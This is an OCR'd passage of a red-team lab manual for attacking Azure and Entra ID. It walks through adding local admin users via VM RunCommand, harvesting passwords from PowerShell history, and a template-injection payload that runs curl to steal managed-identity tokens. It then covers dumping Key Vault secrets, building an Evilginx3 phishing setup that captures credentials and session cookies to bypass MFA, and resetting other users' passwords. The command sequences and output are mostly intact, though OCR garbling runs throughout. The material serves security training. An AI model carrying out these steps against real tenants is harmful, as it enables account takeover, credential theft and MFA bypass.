IpAddress : 20.52.148.232
PublicIpAddressVersion : IPv4
[snip]

Let's run a command on the bkpadconnect Azure VM. As an example, we can run the local PowerShell
script 'C:\AzAD\Tools\adduser.ps1' on the VM. Make sure to modify the script (change student) so that it
adds a user for your student ID:

$passwd ConvertTo-SecureString "StudxPassword@l23" -AsPlainText -Force

New-LocalUser -Name studentX -Password $passwd
Add-LocalGroupMember -Group Administrators -Member studentx

Run the below command to execute adduser.ps1 script on the VM. On successful execution, the user that
you specified in the script will be created and added to the local administrators group on the
bkpadconnect VM. It will take couple of minutes to complete:

PS C:\AzAD\Tools> Invoke-AzVMRunCommand -VMName bkpadconnect -
ResourceGroupName Engineering -CommandId 'RunPowerShellScript' -ScriptPath
'C:\AzAD\Tools\adduser.psl' -Verbose

VERBOSE: Performing the operation "Invoke" on target "bkpadconnect".

Value[0]
Code : ComponentStatus/StdOut/succeeded
Level : Info
DisplayStatus : Provisioning succeeded
Message : Name Enabled Description

studentx True

Value[1l]
Code : ComponentStatus/StdErr/succeeded
Level : Info
DisplayStatus : Provisioning succeeded
Message
Status : Succeeded
Capacity : 0
Count : 0

Sweet! Now we can try to access the VM using the user we added (here we are assuming that the VM's
configuration allows local users to connect remotely):

PS C:\AzAD\Tools> $password = ConvertTo-SecureString 'StudxPassword@123' -
AsPlainText -Force

AlteredSecurity.com Azure Attacks for Red and Blue Teams 73



PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('studentx', $Password)

PS C:\AzAD\Tools> $sess = New-PSSession -ComputerName 20.52.148.232 -
Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType
NoProxyServer)

PS C:\AzAD\Tools> Enter-PSSession $sess

[20.52.148.232]: PS C:\Users\studentx\Documents> hostname

bkpadconnect

Now, there are many ways to extract credentials from the VM — Isass, registry, DPAPI etc. Assuming that
we tried them and then we found credentials in the PowerShell console history of the bkpadconnect user
(Recall from our previous enumeration that the default administrator of the bkadconnect machine is also
named bkpadconnect):

[20.52.148.232]: PS C:\Users\studentx\Documents> Get-LocalUser

Name Enabled Description

bkpadconnect True Built-in account for administering the
computer/domain

[snip]

[20.52.148.232]: PS C:\Users\studentx\Documents> cat
C:\Users\bkpadconnect\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
\ConsoleHost history.txt

$pwd = "CredsToManageClOudSync!"

$passwd = $pwd | ConvertTo-SecureString -AsPlainText -Force

$creds = New-Object System.Management.Automation.PSCredential ("defeng-
adcnct\administrator", $passwd)

$adconnect = New-PSSession -ComputerName 172.16.1.21 -Credential $creds
Enter-PSSession -Session $adconnect

Restart-Service -Name WinRM

WinRM Quickconfig

Restart-Computer

Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*'"

Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*'
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Learning Objective 16:

Task
* Abuse the permissions that Managed Identity of the 'vaultfrontend' App Service has to extract
secrets from a key vault.

* Use the secrets to gather more information from the defcorphq tenant.

Part of - Kill Chain - 2
Topics covered - Authenticated Enumeration, Privilege Escalation and Data Mining

Solution
We already enumerated that the managed identity of the ‘'vaultfrontend' app service
(https://vaultfrontend.azurewebsites.net) can access the keyvault 'ResearchKeyVault'.

To be able to access the keyvault, we need to request a keyvault access token. Use the following code in
the web app for that:

{{config. class . init . globals ['os'].popen('curl
"SIDENTITY ENDPOINT?resource=https://vault.azure.net&api-version=2017-
09-01" -H secret:SIDENTITY HEADER').read() }}

Request a new ARM access token using the below command:

{{config. class . init . globals ['os'].popen('curl
"SIDENTITY ENDPOINT?resource=https://management.azure.comé&api-
version=2017-09-01" -H secret:SIDENTITY HEADER').read() }}

Connect using Az PowerShell and use both the arm token and keyvault token:

PS C:\AzAD\Tools> $token = 'eyJoO..'

PS C:\AzAD\Tools> $keyvaulttoken = 'eyJO..'

PS C:\AzAD\Tools> Connect-AzAccount -AccessToken $token -AccountId 2e9ladfe-
a0f2-46ee-8214-fa2ff6aa%9abc -KeyVaultAccessToken $keyvaulttoken

Account SubscriptionName TenantId
Environment
2e9ladfe-alf2-46ee-8214-fa2ff6aa%abc DefCorp 2d50cb29-5f7b-48a4-

87ce-fe75a941ladb6 AzureCloud

Now, we can check if we can access the keyvault and possible any secrets, keys or credentials:

PS C:\AzAD\Tools> Get-AzKeyVault
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Vault Name : ResearchKeyVault

Resource Group Name : Research

Location : germanywestcentral

Resource ID : /subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/Research/prov1ders/Mlcrosoft KeyVault/vaults/Rese
archKeyVault

Tags

PS C:\AzAD\Tools> Get-AzKeyVaultSecret -VaultName ResearchKeyVault

Vault Name : researchkeyvault

Name : Reader

Version

Id : https://researchkeyvault.vault.azure.net:443/secrets/Reader
Enabled : True

Expires

Not Before

Created : 3/12/2021 11:06:20 AM
Updated : 3/12/2021 11:06:20 AM
Content Type

Tags

PS C:\AzAD\Tools> Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name
Reader -AsPlainText

username: kathynschaefer@defcorphq.onmicrosoft.com ; password:
Gaxu@6991TESTSH#*!Q#

Please note that the password may be different in your lab instance.
Sweet!

Let's see what Azure resources the user Kathy has access to. Run the below commands to authenticate as
Kathy and enumerate resources the user can access. You may like to note that Kathy's access to Azure
portal using a web browser is blocked using a Condition Access Policy. Please note that the password may
be different in your lab instance:

PS C:\AzAD\Tools> $password = ConvertTo-SecureString 'Gaxu@R6991TESTS#*!Q#' -
AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('kathynschaefer@defcorphq.onmicroso
ft.com', $password)

PS C:\AzAD\Tools> Connect-AzAccount -Credential $creds

Account SubscriptionName TenantId
Environment
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kathynschaefer@defcorphg.onmicrosoft.com DefCorp 2d50cb29-5f7b-48a4-
87ce-fe75a941ladb6 AzureCloud

PS C:\AzAD\Tools> Get-AzResource

Name : jumpvm

ResourceGroupName : RESEARCH

ResourceType : Microsoft.Compute/virtualMachines
Location : germanywestcentral

Resourceld : /subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/RESEARCH/prov1ders/Mlcrosoft Compute/virtualMachi
nes/jumpvm
Tags

Let's enumerate role assignments on the VM 'jumpvm®:

PS C:\AzAD\Tools> Get-AzRoleAssignment -Scope /subscriptions/b413826£f-108d-
4049-8cll-
d52d5d388768/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachi
nes/jumpvm

[snip]

Scope : /subscriptions/b413826£-108d-4049-8cll-
d52d5d388768/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachi
nes/Jjumpvm

DisplayName : VM Admins

SignInName 3

RoleDefinitionName : Reader

RoleDefinitionId : acdd72a7-3385-48ef-bd42-£f606fba8lae’
ObjectId : 783a312d-0de2-4490-92e4-539b0edeel3e
ObjectType : Group

CanDelegate : False

Description

ConditionVersion

Condition

[snip]

DisplayName : VM Admins

SignInName 3

RoleDefinitionName : Virtual Machine Command Executor
RoleDefinitionId : £824060c-c059-4ebc-991c-82fd4eebeatbl
ObjectId : 783a312d-0de2-4490-92e4-539b0e4deel3e
ObjectType : Group

CanDelegate : False

So there is a group 'VM admins' that has the Virtual Machine Command Executor role on the jumpvm VM.
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Let's check the definition of this role to understand the allowed actions:

PS C:\AzAD\Tools> Get-AzRoleDefinition -Name "Virtual Machine Command
Executor"

Name : Virtual Machine Command Executor

Id : £824060c-c059-4ebc-991c-82fd4eebeasl

IsCustom : True

Description : Ability to only run commands on the Virtual Machine.
Actions : {Microsoft.Compute/virtualMachines/runCommand/action}
NotActions : {}

DataActions : {1}

NotDataActions : {1}

AssignableScopes : {/subscriptions/b413826f-108d-4049-8c11-d52d5d388768}

Let's get some information about the VM admins group and its membership:

PS C:\AzAD\Tools> Get-AzADGroup -DisplayName 'VM Admins'

SecurityEnabled : True

MailNickname : 801e8f£f2-0

ObjectType : Group

Description : Members of this groups can execute commands on the VM
DisplayName : VM Admins

Id : 783a312d-0de2-4490-92e4-539b0edeel3e

Type

PS C:\AzAD\Tools> Get-AzADGroupMember -GroupDisplayName 'VM Admins' | select
DisplayName

DisplayName

VMContributorl07@defcorphg.onmicrosoft.com
VMContributor26@defcorphg.onmicrosoft.com
VMContributor9@defcorphg.onmicrosoft.com

[snip]

Now, let's list some information about the users of the group. For
VMContributorx@defcorphg.onmicrosoft.com list the groups and roles that the user is a member of!
We will use the Graph API to get all the details and not Az PowerShell.

Run the below command to get an access token for Graph API:

PS C:\AzAD\Tools> (Get-AzAccessToken -ResourceUrl
https://graph.microsoft.com) . Token
eyJo. ..
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Now, use the token with the below code:

$Token 'eyJOeX..'

$URI !
https://graph.microsoft.com/v1.0/users/vMContributorx@defcorphq.onmicro
soft.com/memberof’

$RequestParams @{

Method "GET'
uri $URI
Headers @{
'Authorization’ "Bearer $Token"
}

}

(Invoke-RestMethod @RequestParams).value

PS C:\AzAD\Tools> $Token = 'eyJ0..'
PS C:\AzAD\Tools> SURI =
'https://graph.microsoft.com/vl.0/users/VMContributorX@defcorphg.onmicrosoft.

com/memberOf’

PS C:\AzAD\Tools> S$SRequestParams = Q@{

>> Method = 'GET'

>> Uri = SURI

>> Headers = @{

>> 'Authorization' = "Bearer S$Token"
>> }

>> )

PS C:\AzAD\Tools> (Invoke-RestMethod @RequestParams) .value

@odata.type : #microsoft.graph.administrativeUnit
id : ele26d93-163e-42a2-a46e-1b7d52626395
deletedDateTime

displayName : Control Unit

description : To Limit the privileges.

So VMContributorx@defcorphg.onmicrosoft.com is added to an administrative unit 'Control Unit'.

Note that we could see this from our previous acces as test@defcorphg.onmicrosoft.com but | am trying
to address this as if we have zero knowledge of the target.

Let's get information and membership of this administrative unit using MS Graph module. We are using
Kathy's credentials below:

PS C:\AzAD\Tools> Connect-AzAccount -Credential $creds

PS C:\AzAD\Tools> $Token = (Get-AzAccessToken -ResourceTypeName
MSGraph) . Token

PS C:\AzAD\Tools> Connect-MgGraph -AccessToken ($Token | ConvertTo-
SecureString -AsPlainText -Force)

Welcome to Microsoft Graph!

AlteredSecurity.com Azure Attacks for Red and Blue Teams 79



Connected via userprovidedaccesstoken access using 1950a258-227b-4e31-a9cf-
717495945fc2

Readme: https://aka.ms/graph/sdk/powershell

SDK Docs: https://aka.ms/graph/sdk/powershell/docs

API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress this message.
PS C:\AzAD\Tools> Get-MgDirectoryAdministrativeUnit -AdministrativeUnitId
ele26d93-163e-42a2-ad46e-1b7d52626395

DeletedDateTime Id Description
DisplayName Visibility

el1e26d93-163e-42a2-a46e-1b7d52626395 To Limit the privileges.
Control Unit

PS C:\AzAD\Tools> Get-MgDirectoryAdministrativeUnitMember -
AdministrativeUnitId ele26d93-163e-42a2-a46e-1b7d52626395 | £f1 *
DeletedDateTime g

Id : 783a312d-0de2-4490-92e4-539b0e4eel3e
AdditionalProperties : {[@odata.type, #microsoft.graph.group],
[createdDateTime, 2021-03-16T13:45:517Z], [creationOptions, System.Object[]],
[description, Members of this groups can execute commands on the VM]...}

[snip]

The VM Admins group is a member of the administrative unit. Let's check for any roles scoped to this
administrative unit:

PS C:\AzAD\Tools> Get-MgDirectoryAdministrativeUnitScopedRoleMember -
AdministrativeUnitId ele26d93-163e-42a2-a46e-1b7d52626395 | f1 *

AdministrativeUnitId : ele26d93-163e-42a2-a46e-1b7d52626395

Id : 7TUSWy21gECLBToYMhINOpNt4uE-FqJCpG4bfVIiY5VZgwiM-
27ZTQgONgRuC_VSKU

RoleId : 5b3935ed-b52d-4080-8b05-3a1832194d3a
RoleMemberInfo

Microsoft.Graph.PowerShell.Models.MicrosoftGraphIdentity
AdditionalProperties : {}

PS C:\AzAD\Tools> (Get-MgDirectoryAdministrativeUnitScopedRoleMember -
AdministrativeUnitId ele26d93-163e-42a2-a46e-1b7d52626395) .RoleMemberInfo

DisplayName Id

Roy G. Cain 8c088359-66fb-4253-ad0d-a91b82£fd548a
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Let's check the role using the Roleld we got above:

PS C:\AzAD\Tools> Get-MgDirectoryRole -DirectoryRoleId 5b3935ed-b52d-4080-
8b05-3a1832194d3a

DeletedDateTime Id Description
DisplayName RoleTemplateId

503935ed-b52d-4080-8b05-3a1832194d3a Allowed to view, set and
reset authentication method information for any non-admin user.
Authentication Administrator c4e39bd9-1100-46d3-8c65-fb160da0071f
So, know we know that the user Roy has Authentication Administrator privileges scoped to the Control

Unit administrative unit!

Get some more details about the user Roy:

PS C:\AzAD\Tools> Get-MgUser -UserId 8c088359-66fb-4253-ad0d-a91b82fd548a |
f1 *

[snip]

DisplayName : Roy G. Cain
FacsimileTelephoneNumber 3

GivenName

IsCompromised

ImmutableId

JobTitle

LastDirSyncTime

LegalAgeGroupClassification :

Mail : roygcain@defcorphq.onmicrosoft.com
MailNickName : roygcain
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Learning Objective 17:

Task
* Using the information collected from the IAM of 'jumpvm' about others users, execute a
phishing attack against the user that has Authentication Administrator role.

* Use the Authentication Administrator privileges to reset password of a user who is a member of
a group that has command execution privileges on the jumpvm.

* Get command execution on the jumpvm VM.

Part of - Kill Chain - 2

Topics covered - Authenticated Enumeration, Initial Access, Privilege Escalation and Data Mining

Solution

We collected information that the user with email roygcain@defcorphg.onmicrosoft.com has
Authentication Administrator role scoped to the administrative unit called Control Unit. Therefore, Roy
can reset passwords of all the VMContributorx users. Also, the said users are a member of the VM Admins
group that allow them to have command execution permissions on the jumpvm VM.

Note: Make sure that you turn off 365-stealer before starting Evilginx3 on the student VM.

Setup Evilginx3

Let's try to phish the user roygcain@defcorphg.onmicrosoft.com using Evilginx3. Run the following
command on your student VM to start setting up the tool. Note that we are running Evliginx in developer
mode to be able to use self-signed certificates:

PS C:\AzAD\Tools> C:\AzAD\Tools\evilginx-v3.3.0\evilginx.exe -p
C:\AzAD\Tools\evilginx-v3.3.0\phishlets -developer

[snip]
by Kuba Gretzky (@mrgretzky) version 3.3.0

[22:23:20] [inf] Evilginx Mastery Course:
https://academy.breakdev.org/evilginx-mastery (learn how to create phishlets)
[22:23:20] [inf] loading phishlets from: C:\AzAD\Tools\evilginx-
v3.3.0\phishlets

[22:23:25] [inf] loading configuration from: C:\Users\studentuserx\.evilginx
[snip]

[22:23:25] [war] server domain not set! type: config domain <domain>
[22:23:25] [war] server ip not set! type: config ip <ip address>

[snip]
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Configure server domain and IP. Run the below commands in the evilginx console. Make sure to modify
the domain and IP to match your user ID and student VM IP:

config domain studentx.corp
[22:26:03] [inf] server domain set to: studentx.corp
[22:26:03] [war] server external ip not set! type: config ipv4 external
<external ipv4 address>
config ipv4 external 172.16.x.x
[22:26:16] [inf] server external IP set to: 172.16.x.x

Select the phishlest for 0365 and point it to a URL on the DNS that you created above:

: phishlets hostname 0365 studentx.corp

[22:28:43] [inf] phishlet '0365' hostname set to: studentx.corp
[22:28:43] [inf] disabled phishlet 'o0365'

: phishlets get-hosts 0365

172.16.150.1 login.studentx.corp

172.16.150.1 www.studentx.corp

Setup DNS
As a part of the attack infrastructure, we have a Technitium DNS server. We need to set it up so that the
phishing URL points to the correct machine — student VM.

You can access it by browsing to http://172.16.2.50:5380/ from your student VM and using the following
details:

username: admin

password: admin@123
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Click on the Zones tab, click on Add Zone button, and enter the below mentioned details:
Zone - Enter studentX.corp
Type - Select Primary Zone(default) value

Click on Add button

Add Zone

student1.corp

Type ® Primary Zone (default)
Secondary Zone
Stub Zone
Conditional Forwarder Zone

Edit the NS record to point it to the DNS server IP — 172.16.2.50 - by modifying the 'Name Server' value:

Edit Record

@
.student1.corp
Type NS v

TTL 3600

Name Server 172.16.2.50

Glue Addresses 192.168.1.1
2001:db8
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Similarly edit the SOA record and change Primary Name Server value to the DNS server IP —172.16.2.50:

Edit Record

Type

TTL

Primary Name Server

Responsible Person

Serial

Refresh

Retry

Expire

Minimum

@
.student1.corp

SOA v

14400

172.16.2.50
hostadmin.student1.corp

14

Save Close

Add a new A record in studentx.corp and modify the following properties so that it points to the evilginx

setup on your student VM
Name - login

Type—A

TTL-180

IPv4 Address - your student VM IP

student1.corp =

Add Record | [ DisabléZone | Delete Zone

Add Record
Name
Type
TTL
IPv4 Address

login

.studenti.corp

A v

180

172.16.150.1

) Add reverse (PTR) record
Create reverse zone for PTR record

Close
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Similarly, add another A record with 'Name' as www and rest of the entries same as above.

Finally, your studentx.corp zone should look like the below (with IP of your student VM):

student1.corp &
[Priay
Name Type TTL Data
login A 3600 172161501
[t} NS 14400 Name Server: 172.16.2.50
[t} S0A 14400 Primary Name Server: 172.16.2.50
Responsible Person: hostadmin student!.corp
Serial: 6
Refresh: 14400
Retry: 3600
Expire: 5043800
Minimum: 500
P A 3600 172.16.158001
Total Records: 4

Add Record Delete Zone

Once the DNS is setup, enable the phishlets.

: phishlets enable 0365
[22:45:28] [inf] enabled phishlet '0365'
[snip]

Next, create the lures:

lures create 0365
[23:26:57] [inf] created lure with ID: 0
lures get-url 0

https://login.studentx.corp/KS7jjgMHN

Send the lure

Finally, email the above link (using an external email) to the target roygcain@defcorphg.onmicrosoft.com

and wait for the user simulation to complete. It is recommended to use the email ID that you used to

register for the lab as it will help in case of troubleshooting.

Within a minute, you should see the below on Evilginx console in case of success (wait for a few seconds

after the initial connection for the user credentials to show up):

23:37:06]

[
[
[23:37:06]
[

[+++] [1] Username: [roygcain@defcorphq.onmicrosoft.com]
23:37:06] [+++] [1] Password: [$3cur3c@!nMoka7985@123]
[+++] [0] Username: [roygcain@defcorphg.onmicrosoft.com]

23:37:10] [+++] [1l] detected authorization URL - tokens intercepted: /kmsi

Please note that the password may be different in your lab instance.
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Sweet! We got the credentials in clear-text! However, if you try to use the credentials, it will be futile as
Roy has MFA enabled.

The simulation for Roy in the lab is capable of satisfying the MFA requirement. We can use the cookies
captured by evilginx. Use the following command in the evilginx console to list all the sessions:

sessions
=== === i B e e ===
————————— I
| id | phishlet | username password | tokens |
remote ip | time
+———— e o o - +—————
————————— I
| 1 | 0365 | roygcain@de..... | $7cur3ceSQ@!nM... | captured |

172.16.2.113 | 2024-10-15 23:37 |

[snip]

View the cookie captured in session 1. Double check the session ID when you try the attack and always
use the latest one that has the ‘tokens’ columns ‘captured’:

sessions 1

id 5 dl

phishlet : 0365

username : roygcain@defcorphg.onmicrosoft.com
password : $7cur3ceS@!nMoka7085@123

tokens : captured

landing url : https://login.login.studentl.corp/trBTMDAZ
user-agent : python-requests/2.25.1

remote 1ip : 172.16.2.113

create time : 2024-10-15 23:37

update time : 2024-10-15 23:37

[ cookies ]
[{"path":"/","domain":"login.microsoftonline.com", "expirationDate":1760535006
,"value":"0.AXAAKctQLXtfpEiHzv51qUGttrmnRUNJmhBJIpCY1NjIB1ONWAHE . AGQABAAQAAAD——
DLA3VO7QrddgJdg7WevrAgDs wQA9PI9xrFie]jVFQlaGNELY gncyg5WSnkgtzONsym3Ihjgnlgp9lb
AohTOOETzLF61-uK-

O35LRy2wOjw", "name" : "ESTSAUTH", "httpOnly":true}, {"path":"/", "domain":"login.m
icrosoftonline.com", "expirationDate":1760535006, "value":"0.AXAAKctQLXtfpEiHzVv
51qUGttrmnRUNJMhBJIpCY1Nj IB1ONWAHE . AGQABAAQAAAD—

[snip]
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Use session cookies for Roy

Steps to authenticate using session cookies are mentioned below.

1. OpenChrome ->Go to Extensions -> Manage Extensions -> Turn on Developer Mode -> Drag-and-
drop CookieEditor.crx from C:\AzAD\Tools to install Cookie-Editor extension.

Browse to https://portal.azure.com
Click on the Cookie-Editor extension and allow read cookies for 'This site'

%2 loginmicrosoRonline comorganizations/oauthZA2 0/ authoriza redirect urishetps S A%2F2Fportalazuss comk 2 ignin K2FinderSi2Firesponse.ypescodeM2lid_tokeniscope -hips S 3ANZP2Fmanagemant cors windows netkark2Fuser mpar.. % (£} O

Microsoft Azure

= Microsoft

»
=
S

4. Click on Delete

Cookie-Editer [

Ad Toyha Cicioaty B by NSaucs ad ast  EREE Liskayase Mot ntsrested Later
Botis)

Q seard

~ AADSSD

¥ sisesson

- g

v buid

v s

v earte- ONvheTodu

et WAGHIRRA

. e

« WicamfApplcsionsTelemeyDesiceld
e
e e—
] e .
5. Clickon Import
Cookie-Editor H
Ad Trythe Curiosity Box by WSsuce and get a FREE Lightyear Motinterested  Later

Bottle!

This page does not hawe any cookies,

| 5 |
* u [ialaln] E

6. Paste the JSON from evilginx console.
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[ cookies ]
[{"path™:™ /™, "domain™:" login.microsoftonline.com”, "expirationDate™: 1760535193, "value": " 0. AXAAKCtQLXtTpETHZVS 1qUGtt I tE2UT GMrBIg-Ydk32SdsrEA
HE. AgABFuQAaADWGJ131mBST’uaraWTBpFeAWDs wUA9P9N9fNRpNVgNn2th3001pJJUrZF1Wth-AEth MH7 JqYZNbp-0bTKCIR_a-sBKfyNgXM7K4aDb3uesBIVCXizZHBAWELU
1'GzeS1vXt8Xbb4H74tR1EOkyImHNPHgY iWYbHSNATQDNORUDKwIInbEx]1WXejnC_kwcNtRVO-RwfYhFFBEM6Qt-4PM7RRCUO3Z11 xNPSAFT2H-Hxj904BOYEIZKKKNYMFWEN7 9X_SD!
hG: 494;QgsmYEq\vf1mb TasuUeB10qoIkBygPXD3U9ESEmo6tp8vk3gi_y-t6hg5ZY_YUG26gUTKI X7 OLwpwW6pbONop3y3butTGMyqpHtwg. g1EgFGW6E]jdsTdNQ23bc-jzwNNgjal
' _JQVBNLRFvGM4NvqP 1C3pq0GaFID7mMfIRK97 aGOr I FWC7 7L TVR8YDGOppX2SZMGPH15-Y] y6n0jINTnGhennIenwuqs0SddfK9ZYwzgmLidc5Y. j
BbM7 CGPHF yt ES1L 1M nZHOU3gQ3SFC| Hd =
RSISTENT","httponly":true}, {"path" i g 0 irationDate" :1760535193,"value"
Hw\WTSpFeAst WUA9P SGsYulEwavuauQ 8r-|E'I2d"‘:WRQOxaGTSURa-VD)xxRUEbAUTZD 5JOH_yuYT1YvH10917 aReBF-59puMOnK9qtbg3kAl
LisM8ts uvIMemev\koLtrfblEi\'Ra.xAUn49'lprcmOa.eruZcCH9VGwcthABxTKb.\fKr.\rfGdcfaebNEZoZYJe oA;A\nfoSHIO-lAlGYF XAk dNA EJTthquh qDSew-fopMcydénc
th": login.microsoftonline.com","expirationbDate":1760535193, "value
Q:BVOkNp:;rﬂ‘IM;xu\"TJGCGJerta.\'lquJNKdZFIRXV'IDJVUYVdOeNIZTnZaNFl\'\’TISdEVnPUJJZ“tKOUB\\"ShquQZR\'\dXQlFrNkX RDerFR'lUORJCUNo:utFRnRF\rl'IVmROJ.y
kpnK11kazNau2Rzb1NDUWSXL 2 tzZWVPL2NTQMIKQLRxdDdsRWQ3ZHhI TOFCSUFGSVNDaEFweT FBAGUXK2 t TSWZPL25XcFFhMjIXaE1LRUZtRENIejdabESDCTEYCECOTD] WSWOTRWG|
UWRYUUd2WGT ndOVTVTIoUDFINOONMmh v bKNUCXQ:bEVkN"‘R45UluNENBQUVmQVFEQUFDYnFPl"G7XWUhkUHU"Q3RaT1 B5alYOREFPe1 9CUUQwL zFqUVhgMHdSazMOU1hSMTVybUVTU
S TmJIQSy9NNmUvVek 9BZ0Y1aHNOT 3dsW1dzM1ZTe INVSzZRYL ZI5eHZDCmO S
i / login.microsoftonline.com","expirationDate":1760535193, "valu
32SdsrEAHE QAE FWQAAA wGJ'IalmBBT ugrwTT8pFeAwDs _wUA9P 50\Cu0FJ7kaWr’mW(FNl1h]b1I.IFq fOpSZ\dIhGygwﬂmGTnsGLqZ
"ESTSAUTH" , “httnon'lv 1truell

Cookie-Editor - Import i
Ad Trythe Curiosity Box by WSauce and get 3 FREE Lightyear Notinterested  Later
Bottle!
Supported format: JSON, Header string, Netscape.
[{"path":"/","domain":"login.microsoftonline.com”,"expirationDate™:
4 »
€ 8

7. Refresh the browser or browse again to https://portal.azure.com

Sweet! We can access the Azure portal as Roy!
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Reset vmcontributorx password using Azure portal

Roy has authentication administrator role scoped to the Control Object administrative unit, and
VMContributorx users are member of the administrative unit, reset the password for
VMContributorx@defcorphg.onmicrosoft.com. Follow these steps:

1. GotoEntralD ->Manage -> Users
2. Search or filter for vmcontributorx (where x is your student ID)
‘ 2 Search User principal name starts with vmcontributor1 X< Y Add filter)

111 users found

Display name T User principal name 1l User type On-premises sy...  Identities

. VM Contributor 1 VMContributor1@defeor.. [ Member No defcorphg.onmicrosoft.com
3.  Click on the username -> Reset password
Home > Defense Corporation | Users > Users Reset password ®
@ VM Contributor1 - i Contibutar 1

e The user
[ search & Editproperties  [I] Delete () Refiesh & Revoke sessions 55 Manage view 27 Gol feedback? J‘:I’I\IAESTZ:;“‘::l:'fzs;’;‘;:z‘h\;‘;’a"sl"vﬂ’;‘:‘?‘((“'”

must be changed on the next sign in_ To

£ Overview

& Auditlogs

assword'
Reset asswortl
3 sign-inlogs Basic info

X Diagnese and solve problems.

£ Custom security attributes ‘ MM Contribter 1

Overview  Manitoring  Properties display the tem parary password, click Reset

4.

A temporary password will be assigned to vmcontributorx that needs to be changed on Sign in.
You would also need to register for MFA for vmcontributorx.

Reset password X

VM Contributor 1

o Password has been reset

Provide this temporary password to the user so
they can sign in.

Temporary password (O
Qadu7922 0
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Alternative to using Azure Portal - Use vmcontributorx password using Mg module
We can also extract the access token for Roy from the browser. In the above section once we can access
Azure portal as Roy, follow these steps to extract an access token for the Graph API.

1. Press F12 in the browser and click on Network tab. Make sure the ‘Preserver log’ checkbox is

&« G % portalazure.com/#home
/2 Search resources, services, and docs (G+/]
Welcome to Azure!
Don't have a subseription? Check aut the following optians.
Start with an Azure free trial age Microsoft Entra ID Access student benefits J
W ooy Apacaton I ey N Ui T Coromamr e:aim @ i %
@ e
¥ Fiter FotchyR | Doc | €55 15| Font| img| Media| aniest WS Wasm | Other () Bloc Biacked
v Initistor E Tims
1] 545
& h WREMUBZNE 542 8318 27
D © Telemetry 204 b Wy MUSZNE jcd2 i 20 m)
D Telemetry 204 abe 2 B 8w
D Telemetry 204 e B 72 mf

2.  Goto Microsoft Entra ID (search in the search bar or use the top left burger menu).

3. Inthe ‘Filter’ field of network tab in the browser, search for ‘batch’ and copy the access token
(i ) Defense Corporation | Overview X
| Add ~ {52 Manage tenants [T What's new B Preview features 7 Got feedback?

® [0

we  Metaork  Memory  Appicat

¥ batch

piame.
o svacn
|0 statch
|0 sbaich

> sbach

Sbatch

 $batch
Sbatch

Now, connect to the tenant using Mg module with the token of Roy. Run the below command in a new
PowerShell session:

PS C:\AzAD\Tools> $Token = 'eyJ0eXAi0iJKVIQiLCJub25jZSI6...."

PS C:\AzAD\Tools> Connect-MgGraph -AccessToken ($Token | ConvertTo-
SecureString -AsPlainText -Force)

[snip]
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Recall Roy has authentication administrator role scoped to the Control Object administrative unit, and
VMContributorx users are member of the administrative unit, reset the password for
VMContributorx@defcorphg.onmicrosoft.com:

PS C:\AzAD\Tools> $params = @{

>> passwordProfile = @{

>> forceChangePasswordNextSignIn = $false
>> password = "VM@Contributor@123@321"

>> }

>> '}

PS C:\AzAD\Tools> Update-MgUser -UserId
"VMContributorx@defcorphg.onmicrosoft.com" -BodyParameter $params

Note that here we have used a passwordprofile that will not ask for password change on next sign in of
vmcontributorx. However, MFA registration would still need to be done.

Use vmcontributorx after registering for MFA

Disconnect from Entra ID and connect using the credentials of the
VMContributorx@defcorphg.onmicrosoft.com user. Note that first you need to register MFA for
VMContributorx by signing-in to portal.azure.com

Once MFA is registered, use the below commands:

PS C:\AzAD\Tools> Disconnect-MgGraph
PS C:\AzAD\Tools> Connect-AzAccount -TenantId 2d50cb29-5f7b-48a4-87ce-
fe75a941ladb6

The above command will open an ‘Approve Sign in’ prompt. After approving the sign-in, we can continue
using Az Powershell as VMContributorx@defcorphg.onmicrosoft.com

Before running any command on the jumpvm, gather more information (like operating system and public
IP —if any):

PS C:\AzAD\Tools> Get-AzVM -Name jumpvm -ResourceGroupName RESEARCH | f1l *

ResourceGroupName : RESEARCH

Id : /subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachi
nes/jumpvm

VmId : aB8a3d68c-3220-4cd3-9148-2166d037cdel
Name : Jjumpvm

Type : Microsoft.Compute/virtualMachines
Location : germanywestcentral

LicenseType : Windows_Client
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[snip]

PS C:\AzAD\Tools> Get-AzVM -Name jumpvm -ResourceGroupName RESEARCH | select
-ExpandProperty NetworkProfile

NetworkInterfaces

{/subscriptions/b413826f-108d-4049-8cl1-
d52d5d388768/resourceGroups/Research/providers/Microsoft.Network/networkInter
faces/jumpvm741}

PS C:\AzAD\Tools> Get-AzNetworkInterface -Name jumpvm741

Name : jumpvm741
ResourceGroupName : Research
[snip]
"PublicIpAddress": {
"IpTags": [],
"Zones": [],
"Id": "/subscriptions/b413826f-108d-4049-

8cll-
d52d5d388768/resourceGroups/Research/providers/Microsoft.Network/publicIPAddr
esses/jumpvm-ip"

PS C:\AzAD\Tools> Get-AzPublicIpAddress -Name jumpvm-ip

Name : jumpvm-ip
[snip]

Tags 8
PublicIpAllocationMethod : Dynamic
IpAddress : 51.116.180.87
[snip]

Finally, run a PowerShell script on jumpVM and add a user to it. Remember to modify the
C:\AzAD\Tools\adduser.ps1 if not done already:

PS C:\AzAD\Tools> Invoke-AzVMRunCommand -ScriptPath C:\AzAD\Tools\adduser.psl
-CommandId 'RunPowerShellScript' -VMName 'Jjumpvm' -ResourceGroupName
'Research' -Verbose

Value[0]
Code : ComponentStatus/StdOut/succeeded
Level : Info
DisplayStatus : Provisioning succeeded
Message : Name Enabled Description

studentx True
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[snip]
And we can now connect to the VM using the user that we just added ((here we are assuming that the
VM's configuration allows local users to connect remotely)):

PS C:\AzAD\Tools> $password = ConvertTo-SecureString 'StudxPassword@1l23' -
AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
